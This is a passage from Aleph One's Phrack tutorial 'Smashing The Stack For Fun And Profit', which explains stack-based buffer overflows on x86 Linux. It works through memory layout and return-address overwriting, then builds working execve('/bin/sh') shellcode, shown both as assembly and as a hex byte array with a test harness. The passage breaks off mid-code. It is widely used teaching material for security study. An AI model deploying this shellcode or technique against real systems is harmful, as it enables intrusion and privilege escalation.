| .oO Phrack 49 Oo. | |
| Volume Seven, Issue Forty-Nine | |
| File 14 of 16 | |
| BugTraq, r00t, and Underground.Org | |
| bring you | |
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| Smashing The Stack For Fun And Profit | |
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| by Aleph One | |
| aleph1@underground.org | |
| `smash the stack` [C programming] n. On many C implementations | |
| it is possible to corrupt the execution stack by writing past | |
| the end of an array declared auto in a routine. Code that does | |
| this is said to smash the stack, and can cause return from the | |
| routine to jump to a random address. This can produce some of | |
| the most insidious data-dependent bugs known to mankind. | |
| Variants include trash the stack, scribble the stack, mangle | |
| the stack; the term mung the stack is not used, as this is | |
| never done intentionally. See spam; see also alias bug, | |
| fandango on core, memory leak, precedence lossage, overrun screw. | |
| Introduction | |
| ~~~~~~~~~~~~ | |
| Over the last few months there has been a large increase of buffer | |
| overflow vulnerabilities being both discovered and exploited. Examples | |
| of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt | |
| library, at, etc. This paper attempts to explain what buffer overflows | |
| are, and how their exploits work. | |
| Basic knowledge of assembly is required. An understanding of virtual | |
| memory concepts, and experience with gdb are very helpful but not necessary. | |
| We also assume we are working with an Intel x86 CPU, and that the operating | |
| system is Linux. | |
| Some basic definitions before we begin: A buffer is simply a contiguous | |
| block of computer memory that holds multiple instances of the same data | |
| type. C programmers normally associate with the word buffer arrays. Most | |
| commonly, character arrays. Arrays, like all variables in C, can be | |
| declared either static or dynamic. Static variables are allocated at load | |
| time on the data segment. Dynamic variables are allocated at run time on | |
| the stack. To overflow is to flow, or fill over the top, brims, or bounds. | |
| We will concern ourselves only with the overflow of dynamic buffers, otherwise | |
| known as stack-based buffer overflows. | |
| Process Memory Organization | |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~ | |
| To understand what stack buffers are we must first understand how a | |
| process is organized in memory. Processes are divided into three regions: | |
| Text, Data, and Stack. We will concentrate on the stack region, but first | |
| a small overview of the other regions is in order. | |
| The text region is fixed by the program and includes code (instructions) | |
| and read-only data. This region corresponds to the text section of the | |
| executable file. This region is normally marked read-only and any attempt to | |
| write to it will result in a segmentation violation. | |
| The data region contains initialized and uninitialized data. Static | |
| variables are stored in this region. The data region corresponds to the | |
| data-bss sections of the executable file. Its size can be changed with the | |
| brk(2) system call. If the expansion of the bss data or the user stack | |
| exhausts available memory, the process is blocked and is rescheduled to | |
| run again with a larger memory space. New memory is added between the data | |
| and stack segments. | |
| /------------------\ lower | |
| | | memory | |
| | Text | addresses | |
| | | | |
| |------------------| | |
| | (Initialized) | | |
| | Data | | |
| | (Uninitialized) | | |
| |------------------| | |
| | | | |
| | Stack | higher | |
| | | memory | |
| \------------------/ addresses | |
| Fig. 1 Process Memory Regions | |
| What Is A Stack? | |
| ~~~~~~~~~~~~~~~~ | |
| A stack is an abstract data type frequently used in computer science. A | |
| stack of objects has the property that the last object placed on the stack | |
| will be the first object removed. This property is commonly referred to as | |
| last in, first out queue, or a LIFO. | |
| Several operations are defined on stacks. Two of the most important are | |
| PUSH and POP. PUSH adds an element at the top of the stack. POP, in | |
| contrast, reduces the stack size by one by removing the last element at the | |
| top of the stack. | |
| Why Do We Use A Stack? | |
| ~~~~~~~~~~~~~~~~~~~~~~ | |
| Modern computers are designed with the need of high-level languages in | |
| mind. The most important technique for structuring programs introduced by | |
| high-level languages is the procedure or function. From one point of view, a | |
| procedure call alters the flow of control just as a jump does, but unlike a | |
| jump, when finished performing its task, a function returns control to the | |
| statement or instruction following the call. This high-level abstraction | |
| is implemented with the help of the stack. | |
| The stack is also used to dynamically allocate the local variables used in | |
| functions, to pass parameters to the functions, and to return values from the | |
| function. | |
| The Stack Region | |
| ~~~~~~~~~~~~~~~~ | |
| A stack is a contiguous block of memory containing data. A register called | |
| the stack pointer (SP) points to the top of the stack. The bottom of the | |
| stack is at a fixed address. Its size is dynamically adjusted by the kernel | |
| at run time. The CPU implements instructions to PUSH onto and POP off of the | |
| stack. | |
| The stack consists of logical stack frames that are pushed when calling a | |
| function and popped when returning. A stack frame contains the parameters to | |
| a function, its local variables, and the data necessary to recover the | |
| previous stack frame, including the value of the instruction pointer at the | |
| time of the function call. | |
| Depending on the implementation the stack will either grow down (towards | |
| lower memory addresses), or up. In our examples we'll use a stack that grows | |
| down. This is the way the stack grows on many computers including the Intel, | |
| Motorola, SPARC and MIPS processors. The stack pointer (SP) is also | |
| implementation dependent. It may point to the last address on the stack, or | |
| to the next free available address after the stack. For our discussion we'll | |
| assume it points to the last address on the stack. | |
| In addition to the stack pointer, which points to the top of the stack | |
| (lowest numerical address), it is often convenient to have a frame pointer | |
| (FP) which points to a fixed location within a frame. Some texts also refer | |
| to it as a local base pointer (LB). In principle, local variables could be | |
| referenced by giving their offsets from SP. However, as words are pushed onto | |
| the stack and popped from the stack, these offsets change. Although in some | |
| cases the compiler can keep track of the number of words on the stack and | |
| thus correct the offsets, in some cases it cannot, and in all cases | |
| considerable administration is required. Futhermore, on some machines, such | |
| as Intel-based processors, accessing a variable at a known distance from SP | |
| requires multiple instructions. | |
| Consequently, many compilers use a second register, FP, for referencing | |
| both local variables and parameters because their distances from FP do | |
| not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this | |
| purpose. On the Motorola CPUs, any address register except A7 (the stack | |
| pointer) will do. Because the way our stack grows, actual parameters have | |
| positive offsets and local variables have negative offsets from FP. | |
| The first thing a procedure must do when called is save the previous FP | |
| (so it can be restored at procedure exit). Then it copies SP into FP to | |
| create the new FP, and advances SP to reserve space for the local variables. | |
| This code is called the procedure prolog. Upon procedure exit, the stack | |
| must be cleaned up again, something called the procedure epilog. The Intel | |
| ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, | |
| have been provided to do most of the procedure prolog and epilog work | |
| efficiently. | |
| Let us see what the stack looks like in a simple example: | |
| example1.c: | |
| ------------------------------------------------------------------------------ | |
| void function(int a, int b, int c) { | |
| char buffer1[5]; | |
| char buffer2[10]; | |
| } | |
| void main() { | |
| function(1,2,3); | |
| } | |
| ------------------------------------------------------------------------------ | |
| To understand what the program does to call function() we compile it with | |
| gcc using the -S switch to generate assembly code output: | |
| $ gcc -S -o example1.s example1.c | |
| By looking at the assembly language output we see that the call to | |
| function() is translated to: | |
| pushl $3 | |
| pushl $2 | |
| pushl $1 | |
| call function | |
| This pushes the 3 arguments to function backwards into the stack, and | |
| calls function(). The instruction 'call' will push the instruction pointer | |
| (IP) onto the stack. We'll call the saved IP the return address (RET). The | |
| first thing done in function is the procedure prolog: | |
| pushl %ebp | |
| movl %esp,%ebp | |
| subl $20,%esp | |
| This pushes EBP, the frame pointer, onto the stack. It then copies the | |
| current SP onto EBP, making it the new FP pointer. We'll call the saved FP | |
| pointer SFP. It then allocates space for the local variables by subtracting | |
| their size from SP. | |
| We must remember that memory can only be addressed in multiples of the | |
| word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer | |
| is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer | |
| is going to take 12 bytes (3 words) of memory. That is why SP is being | |
| subtracted by 20. With that in mind our stack looks like this when | |
| function() is called (each space represents a byte): | |
| bottom of top of | |
| memory memory | |
| buffer2 buffer1 sfp ret a b c | |
| <------ [ ][ ][ ][ ][ ][ ][ ] | |
| top of bottom of | |
| stack stack | |
| Buffer Overflows | |
| ~~~~~~~~~~~~~~~~ | |
| A buffer overflow is the result of stuffing more data into a buffer than | |
| it can handle. How can this often found programming error can be taken | |
| advantage to execute arbitrary code? Lets look at another example: | |
| example2.c | |
| ------------------------------------------------------------------------------ | |
| void function(char *str) { | |
| char buffer[16]; | |
| strcpy(buffer,str); | |
| } | |
| void main() { | |
| char large_string[256]; | |
| int i; | |
| for( i = 0; i < 255; i++) | |
| large_string[i] = 'A'; | |
| function(large_string); | |
| } | |
| ------------------------------------------------------------------------------ | |
| This is program has a function with a typical buffer overflow coding | |
| error. The function copies a supplied string without bounds checking by | |
| using strcpy() instead of strncpy(). If you run this program you will get a | |
| segmentation violation. Lets see what its stack looks when we call function: | |
| bottom of top of | |
| memory memory | |
| buffer sfp ret *str | |
| <------ [ ][ ][ ][ ] | |
| top of bottom of | |
| stack stack | |
| What is going on here? Why do we get a segmentation violation? Simple. | |
| strcpy() is coping the contents of *str (larger_string[]) into buffer[] | |
| until a null character is found on the string. As we can see buffer[] is | |
| much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff | |
| it with 256 bytes. This means that all 250 bytes after buffer in the stack | |
| are being overwritten. This includes the SFP, RET, and even *str! We had | |
| filled large_string with the character 'A'. It's hex character value | |
| is 0x41. That means that the return address is now 0x41414141. This is | |
| outside of the process address space. That is why when the function returns | |
| and tries to read the next instruction from that address you get a | |
| segmentation violation. | |
| So a buffer overflow allows us to change the return address of a function. | |
| In this way we can change the flow of execution of the program. Lets go back | |
| to our first example and recall what the stack looked like: | |
| bottom of top of | |
| memory memory | |
| buffer2 buffer1 sfp ret a b c | |
| <------ [ ][ ][ ][ ][ ][ ][ ] | |
| top of bottom of | |
| stack stack | |
| Lets try to modify our first example so that it overwrites the return | |
| address, and demonstrate how we can make it execute arbitrary code. Just | |
| before buffer1[] on the stack is SFP, and before it, the return address. | |
| That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is | |
| really 2 word so its 8 bytes long. So the return address is 12 bytes from | |
| the start of buffer1[]. We'll modify the return value in such a way that the | |
| assignment statement 'x = 1;' after the function call will be jumped. To do | |
| so we add 8 bytes to the return address. Our code is now: | |
| example3.c: | |
| ------------------------------------------------------------------------------ | |
| void function(int a, int b, int c) { | |
| char buffer1[5]; | |
| char buffer2[10]; | |
| int *ret; | |
| ret = buffer1 + 12; | |
| (*ret) += 8; | |
| } | |
| void main() { | |
| int x; | |
| x = 0; | |
| function(1,2,3); | |
| x = 1; | |
| printf("%d\n",x); | |
| } | |
| ------------------------------------------------------------------------------ | |
| What we have done is add 12 to buffer1[]'s address. This new address is | |
| where the return address is stored. We want to skip pass the assignment to | |
| the printf call. How did we know to add 8 to the return address? We used a | |
| test value first (for example 1), compiled the program, and then started gdb: | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ gdb example3 | |
| GDB is free software and you are welcome to distribute copies of it | |
| under certain conditions; type "show copying" to see the conditions. | |
| There is absolutely no warranty for GDB; type "show warranty" for details. | |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... | |
| (no debugging symbols found)... | |
| (gdb) disassemble main | |
| Dump of assembler code for function main: | |
| 0x8000490 <main>: pushl %ebp | |
| 0x8000491 <main+1>: movl %esp,%ebp | |
| 0x8000493 <main+3>: subl $0x4,%esp | |
| 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp) | |
| 0x800049d <main+13>: pushl $0x3 | |
| 0x800049f <main+15>: pushl $0x2 | |
| 0x80004a1 <main+17>: pushl $0x1 | |
| 0x80004a3 <main+19>: call 0x8000470 <function> | |
| 0x80004a8 <main+24>: addl $0xc,%esp | |
| 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) | |
| 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax | |
| 0x80004b5 <main+37>: pushl %eax | |
| 0x80004b6 <main+38>: pushl $0x80004f8 | |
| 0x80004bb <main+43>: call 0x8000378 <printf> | |
| 0x80004c0 <main+48>: addl $0x8,%esp | |
| 0x80004c3 <main+51>: movl %ebp,%esp | |
| 0x80004c5 <main+53>: popl %ebp | |
| 0x80004c6 <main+54>: ret | |
| 0x80004c7 <main+55>: nop | |
| ------------------------------------------------------------------------------ | |
| We can see that when calling function() the RET will be 0x8004a8, and we | |
| want to jump past the assignment at 0x80004ab. The next instruction we want | |
| to execute is the at 0x8004b2. A little math tells us the distance is 8 | |
| bytes. | |
| Shell Code | |
| ~~~~~~~~~~ | |
| So now that we know that we can modify the return address and the flow of | |
| execution, what program do we want to execute? In most cases we'll simply | |
| want the program to spawn a shell. From the shell we can then issue other | |
| commands as we wish. But what if there is no such code in the program we | |
| are trying to exploit? How can we place arbitrary instruction into its | |
| address space? The answer is to place the code with are trying to execute in | |
| the buffer we are overflowing, and overwrite the return address so it points | |
| back into the buffer. Assuming the stack starts at address 0xFF, and that S | |
| stands for the code we want to execute the stack would then look like this: | |
| bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of | |
| memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory | |
| buffer sfp ret a b c | |
| <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] | |
| ^ | | |
| |____________________________| | |
| top of bottom of | |
| stack stack | |
| The code to spawn a shell in C looks like: | |
| shellcode.c | |
| ----------------------------------------------------------------------------- | |
| #include <stdio.h> | |
| void main() { | |
| char *name[2]; | |
| name[0] = "/bin/sh"; | |
| name[1] = NULL; | |
| execve(name[0], name, NULL); | |
| } | |
| ------------------------------------------------------------------------------ | |
| To find out what does it looks like in assembly we compile it, and start | |
| up gdb. Remember to use the -static flag. Otherwise the actual code the | |
| for the execve system call will not be included. Instead there will be a | |
| reference to dynamic C library that would normally would be linked in at | |
| load time. | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c | |
| [aleph1]$ gdb shellcode | |
| GDB is free software and you are welcome to distribute copies of it | |
| under certain conditions; type "show copying" to see the conditions. | |
| There is absolutely no warranty for GDB; type "show warranty" for details. | |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... | |
| (gdb) disassemble main | |
| Dump of assembler code for function main: | |
| 0x8000130 <main>: pushl %ebp | |
| 0x8000131 <main+1>: movl %esp,%ebp | |
| 0x8000133 <main+3>: subl $0x8,%esp | |
| 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) | |
| 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) | |
| 0x8000144 <main+20>: pushl $0x0 | |
| 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax | |
| 0x8000149 <main+25>: pushl %eax | |
| 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax | |
| 0x800014d <main+29>: pushl %eax | |
| 0x800014e <main+30>: call 0x80002bc <__execve> | |
| 0x8000153 <main+35>: addl $0xc,%esp | |
| 0x8000156 <main+38>: movl %ebp,%esp | |
| 0x8000158 <main+40>: popl %ebp | |
| 0x8000159 <main+41>: ret | |
| End of assembler dump. | |
| (gdb) disassemble __execve | |
| Dump of assembler code for function __execve: | |
| 0x80002bc <__execve>: pushl %ebp | |
| 0x80002bd <__execve+1>: movl %esp,%ebp | |
| 0x80002bf <__execve+3>: pushl %ebx | |
| 0x80002c0 <__execve+4>: movl $0xb,%eax | |
| 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx | |
| 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx | |
| 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx | |
| 0x80002ce <__execve+18>: int $0x80 | |
| 0x80002d0 <__execve+20>: movl %eax,%edx | |
| 0x80002d2 <__execve+22>: testl %edx,%edx | |
| 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> | |
| 0x80002d6 <__execve+26>: negl %edx | |
| 0x80002d8 <__execve+28>: pushl %edx | |
| 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> | |
| 0x80002de <__execve+34>: popl %edx | |
| 0x80002df <__execve+35>: movl %edx,(%eax) | |
| 0x80002e1 <__execve+37>: movl $0xffffffff,%eax | |
| 0x80002e6 <__execve+42>: popl %ebx | |
| 0x80002e7 <__execve+43>: movl %ebp,%esp | |
| 0x80002e9 <__execve+45>: popl %ebp | |
| 0x80002ea <__execve+46>: ret | |
| 0x80002eb <__execve+47>: nop | |
| End of assembler dump. | |
| ------------------------------------------------------------------------------ | |
| Lets try to understand what is going on here. We'll start by studying main: | |
| ------------------------------------------------------------------------------ | |
| 0x8000130 <main>: pushl %ebp | |
| 0x8000131 <main+1>: movl %esp,%ebp | |
| 0x8000133 <main+3>: subl $0x8,%esp | |
| This is the procedure prelude. It first saves the old frame pointer, | |
| makes the current stack pointer the new frame pointer, and leaves | |
| space for the local variables. In this case its: | |
| char *name[2]; | |
| or 2 pointers to a char. Pointers are a word long, so it leaves | |
| space for two words (8 bytes). | |
| 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) | |
| We copy the value 0x80027b8 (the address of the string "/bin/sh") | |
| into the first pointer of name[]. This is equivalent to: | |
| name[0] = "/bin/sh"; | |
| 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) | |
| We copy the value 0x0 (NULL) into the seconds pointer of name[]. | |
| This is equivalent to: | |
| name[1] = NULL; | |
| The actual call to execve() starts here. | |
| 0x8000144 <main+20>: pushl $0x0 | |
| We push the arguments to execve() in reverse order onto the stack. | |
| We start with NULL. | |
| 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax | |
| We load the address of name[] into the EAX register. | |
| 0x8000149 <main+25>: pushl %eax | |
| We push the address of name[] onto the stack. | |
| 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax | |
| We load the address of the string "/bin/sh" into the EAX register. | |
| 0x800014d <main+29>: pushl %eax | |
| We push the address of the string "/bin/sh" onto the stack. | |
| 0x800014e <main+30>: call 0x80002bc <__execve> | |
| Call the library procedure execve(). The call instruction pushes the | |
| IP onto the stack. | |
| ------------------------------------------------------------------------------ | |
| Now execve(). Keep in mind we are using a Intel based Linux system. The | |
| syscall details will change from OS to OS, and from CPU to CPU. Some will | |
| pass the arguments on the stack, others on the registers. Some use a software | |
| interrupt to jump to kernel mode, others use a far call. Linux passes its | |
| arguments to the system call on the registers, and uses a software interrupt | |
| to jump into kernel mode. | |
| ------------------------------------------------------------------------------ | |
| 0x80002bc <__execve>: pushl %ebp | |
| 0x80002bd <__execve+1>: movl %esp,%ebp | |
| 0x80002bf <__execve+3>: pushl %ebx | |
| The procedure prelude. | |
| 0x80002c0 <__execve+4>: movl $0xb,%eax | |
| Copy 0xb (11 decimal) onto the stack. This is the index into the | |
| syscall table. 11 is execve. | |
| 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx | |
| Copy the address of "/bin/sh" into EBX. | |
| 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx | |
| Copy the address of name[] into ECX. | |
| 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx | |
| Copy the address of the null pointer into %edx. | |
| 0x80002ce <__execve+18>: int $0x80 | |
| Change into kernel mode. | |
| ------------------------------------------------------------------------------ | |
| So as we can see there is not much to the execve() system call. All we need | |
| to do is: | |
| a) Have the null terminated string "/bin/sh" somewhere in memory. | |
| b) Have the address of the string "/bin/sh" somewhere in memory | |
| followed by a null long word. | |
| c) Copy 0xb into the EAX register. | |
| d) Copy the address of the address of the string "/bin/sh" into the | |
| EBX register. | |
| e) Copy the address of the string "/bin/sh" into the ECX register. | |
| f) Copy the address of the null long word into the EDX register. | |
| g) Execute the int $0x80 instruction. | |
| But what if the execve() call fails for some reason? The program will | |
| continue fetching instructions from the stack, which may contain random data! | |
| The program will most likely core dump. We want the program to exit cleanly | |
| if the execve syscall fails. To accomplish this we must then add a exit | |
| syscall after the execve syscall. What does the exit syscall looks like? | |
| exit.c | |
| ------------------------------------------------------------------------------ | |
| #include <stdlib.h> | |
| void main() { | |
| exit(0); | |
| } | |
| ------------------------------------------------------------------------------ | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ gcc -o exit -static exit.c | |
| [aleph1]$ gdb exit | |
| GDB is free software and you are welcome to distribute copies of it | |
| under certain conditions; type "show copying" to see the conditions. | |
| There is absolutely no warranty for GDB; type "show warranty" for details. | |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... | |
| (no debugging symbols found)... | |
| (gdb) disassemble _exit | |
| Dump of assembler code for function _exit: | |
| 0x800034c <_exit>: pushl %ebp | |
| 0x800034d <_exit+1>: movl %esp,%ebp | |
| 0x800034f <_exit+3>: pushl %ebx | |
| 0x8000350 <_exit+4>: movl $0x1,%eax | |
| 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx | |
| 0x8000358 <_exit+12>: int $0x80 | |
| 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx | |
| 0x800035d <_exit+17>: movl %ebp,%esp | |
| 0x800035f <_exit+19>: popl %ebp | |
| 0x8000360 <_exit+20>: ret | |
| 0x8000361 <_exit+21>: nop | |
| 0x8000362 <_exit+22>: nop | |
| 0x8000363 <_exit+23>: nop | |
| End of assembler dump. | |
| ------------------------------------------------------------------------------ | |
| The exit syscall will place 0x1 in EAX, place the exit code in EBX, | |
| and execute "int 0x80". That's it. Most applications return 0 on exit to | |
| indicate no errors. We will place 0 in EBX. Our list of steps is now: | |
| a) Have the null terminated string "/bin/sh" somewhere in memory. | |
| b) Have the address of the string "/bin/sh" somewhere in memory | |
| followed by a null long word. | |
| c) Copy 0xb into the EAX register. | |
| d) Copy the address of the address of the string "/bin/sh" into the | |
| EBX register. | |
| e) Copy the address of the string "/bin/sh" into the ECX register. | |
| f) Copy the address of the null long word into the EDX register. | |
| g) Execute the int $0x80 instruction. | |
| h) Copy 0x1 into the EAX register. | |
| i) Copy 0x0 into the EBX register. | |
| j) Execute the int $0x80 instruction. | |
| Trying to put this together in assembly language, placing the string | |
| after the code, and remembering we will place the address of the string, | |
| and null word after the array, we have: | |
| ------------------------------------------------------------------------------ | |
| movl string_addr,string_addr_addr | |
| movb $0x0,null_byte_addr | |
| movl $0x0,null_addr | |
| movl $0xb,%eax | |
| movl string_addr,%ebx | |
| leal string_addr,%ecx | |
| leal null_string,%edx | |
| int $0x80 | |
| movl $0x1, %eax | |
| movl $0x0, %ebx | |
| int $0x80 | |
| /bin/sh string goes here. | |
| ------------------------------------------------------------------------------ | |
| The problem is that we don't know where in the memory space of the | |
| program we are trying to exploit the code (and the string that follows | |
| it) will be placed. One way around it is to use a JMP, and a CALL | |
| instruction. The JMP and CALL instructions can use IP relative addressing, | |
| which means we can jump to an offset from the current IP without needing | |
| to know the exact address of where in memory we want to jump to. If we | |
| place a CALL instruction right before the "/bin/sh" string, and a JMP | |
| instruction to it, the strings address will be pushed onto the stack as | |
| the return address when CALL is executed. All we need then is to copy the | |
| return address into a register. The CALL instruction can simply call the | |
| start of our code above. Assuming now that J stands for the JMP instruction, | |
| C for the CALL instruction, and s for the string, the execution flow would | |
| now be: | |
| bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of | |
| memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory | |
| buffer sfp ret a b c | |
| <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] | |
| ^|^ ^| | | |
| |||_____________||____________| (1) | |
| (2) ||_____________|| | |
| |______________| (3) | |
| top of bottom of | |
| stack stack | |
| With this modifications, using indexed addressing, and writing down how | |
| many bytes each instruction takes our code looks like: | |
| ------------------------------------------------------------------------------ | |
| jmp offset-to-call # 2 bytes | |
| popl %esi # 1 byte | |
| movl %esi,array-offset(%esi) # 3 bytes | |
| movb $0x0,nullbyteoffset(%esi)# 4 bytes | |
| movl $0x0,null-offset(%esi) # 7 bytes | |
| movl $0xb,%eax # 5 bytes | |
| movl %esi,%ebx # 2 bytes | |
| leal array-offset,(%esi),%ecx # 3 bytes | |
| leal null-offset(%esi),%edx # 3 bytes | |
| int $0x80 # 2 bytes | |
| movl $0x1, %eax # 5 bytes | |
| movl $0x0, %ebx # 5 bytes | |
| int $0x80 # 2 bytes | |
| call offset-to-popl # 5 bytes | |
| /bin/sh string goes here. | |
| ------------------------------------------------------------------------------ | |
| Calculating the offsets from jmp to call, from call to popl, from | |
| the string address to the array, and from the string address to the null | |
| long word, we now have: | |
| ------------------------------------------------------------------------------ | |
| jmp 0x26 # 2 bytes | |
| popl %esi # 1 byte | |
| movl %esi,0x8(%esi) # 3 bytes | |
| movb $0x0,0x7(%esi) # 4 bytes | |
| movl $0x0,0xc(%esi) # 7 bytes | |
| movl $0xb,%eax # 5 bytes | |
| movl %esi,%ebx # 2 bytes | |
| leal 0x8(%esi),%ecx # 3 bytes | |
| leal 0xc(%esi),%edx # 3 bytes | |
| int $0x80 # 2 bytes | |
| movl $0x1, %eax # 5 bytes | |
| movl $0x0, %ebx # 5 bytes | |
| int $0x80 # 2 bytes | |
| call -0x2b # 5 bytes | |
| .string \"/bin/sh\" # 8 bytes | |
| ------------------------------------------------------------------------------ | |
| Looks good. To make sure it works correctly we must compile it and run it. | |
| But there is a problem. Our code modifies itself, but most operating system | |
| mark code pages read-only. To get around this restriction we must place the | |
| code we wish to execute in the stack or data segment, and transfer control | |
| to it. To do so we will place our code in a global array in the data | |
| segment. We need first a hex representation of the binary code. Lets | |
| compile it first, and then use gdb to obtain it. | |
| shellcodeasm.c | |
| ------------------------------------------------------------------------------ | |
| void main() { | |
| __asm__(" | |
| jmp 0x2a # 3 bytes | |
| popl %esi # 1 byte | |
| movl %esi,0x8(%esi) # 3 bytes | |
| movb $0x0,0x7(%esi) # 4 bytes | |
| movl $0x0,0xc(%esi) # 7 bytes | |
| movl $0xb,%eax # 5 bytes | |
| movl %esi,%ebx # 2 bytes | |
| leal 0x8(%esi),%ecx # 3 bytes | |
| leal 0xc(%esi),%edx # 3 bytes | |
| int $0x80 # 2 bytes | |
| movl $0x1, %eax # 5 bytes | |
| movl $0x0, %ebx # 5 bytes | |
| int $0x80 # 2 bytes | |
| call -0x2f # 5 bytes | |
| .string \"/bin/sh\" # 8 bytes | |
| "); | |
| } | |
| ------------------------------------------------------------------------------ | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c | |
| [aleph1]$ gdb shellcodeasm | |
| GDB is free software and you are welcome to distribute copies of it | |
| under certain conditions; type "show copying" to see the conditions. | |
| There is absolutely no warranty for GDB; type "show warranty" for details. | |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... | |
| (gdb) disassemble main | |
| Dump of assembler code for function main: | |
| 0x8000130 <main>: pushl %ebp | |
| 0x8000131 <main+1>: movl %esp,%ebp | |
| 0x8000133 <main+3>: jmp 0x800015f <main+47> | |
| 0x8000135 <main+5>: popl %esi | |
| 0x8000136 <main+6>: movl %esi,0x8(%esi) | |
| 0x8000139 <main+9>: movb $0x0,0x7(%esi) | |
| 0x800013d <main+13>: movl $0x0,0xc(%esi) | |
| 0x8000144 <main+20>: movl $0xb,%eax | |
| 0x8000149 <main+25>: movl %esi,%ebx | |
| 0x800014b <main+27>: leal 0x8(%esi),%ecx | |
| 0x800014e <main+30>: leal 0xc(%esi),%edx | |
| 0x8000151 <main+33>: int $0x80 | |
| 0x8000153 <main+35>: movl $0x1,%eax | |
| 0x8000158 <main+40>: movl $0x0,%ebx | |
| 0x800015d <main+45>: int $0x80 | |
| 0x800015f <main+47>: call 0x8000135 <main+5> | |
| 0x8000164 <main+52>: das | |
| 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp | |
| 0x8000168 <main+56>: das | |
| 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> | |
| 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) | |
| End of assembler dump. | |
| (gdb) x/bx main+3 | |
| 0x8000133 <main+3>: 0xeb | |
| (gdb) | |
| 0x8000134 <main+4>: 0x2a | |
| (gdb) | |
| . | |
| . | |
| . | |
| ------------------------------------------------------------------------------ | |
| testsc.c | |
| ------------------------------------------------------------------------------ | |
| char shellcode[] = | |
| "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" | |
| "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" | |
| "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" | |
| "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; | |
| void main() { | |
| int *ret; | |
| ret = (int *)&ret + 2; | |
| (*ret) = (int)shellcode; | |
| } | |
| ------------------------------------------------------------------------------ | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ gcc -o testsc testsc.c | |
| [aleph1]$ ./testsc | |
| $ exit | |
| [aleph1]$ | |
| ------------------------------------------------------------------------------ | |
| It works! But there is an obstacle. In most cases we'll be trying to | |
| overflow a character buffer. As such any null bytes in our shellcode will be | |
| considered the end of the string, and the copy will be terminated. There must | |
| be no null bytes in the shellcode for the exploit to work. Let's try to | |
| eliminate the bytes (and at the same time make it smaller). | |
| Problem instruction: Substitute with: | |
| -------------------------------------------------------- | |
| movb $0x0,0x7(%esi) xorl %eax,%eax | |
| molv $0x0,0xc(%esi) movb %eax,0x7(%esi) | |
| movl %eax,0xc(%esi) | |
| -------------------------------------------------------- | |
| movl $0xb,%eax movb $0xb,%al | |
| -------------------------------------------------------- | |
| movl $0x1, %eax xorl %ebx,%ebx | |
| movl $0x0, %ebx movl %ebx,%eax | |
| inc %eax | |
| -------------------------------------------------------- | |
| Our improved code: | |
| shellcodeasm2.c | |
| ------------------------------------------------------------------------------ | |
| void main() { | |
| __asm__(" | |
| jmp 0x1f # 2 bytes | |
| popl %esi # 1 byte | |
| movl %esi,0x8(%esi) # 3 bytes | |
| xorl %eax,%eax # 2 bytes | |
| movb %eax,0x7(%esi) # 3 bytes | |
| movl %eax,0xc(%esi) # 3 bytes | |
| movb $0xb,%al # 2 bytes | |
| movl %esi,%ebx # 2 bytes | |
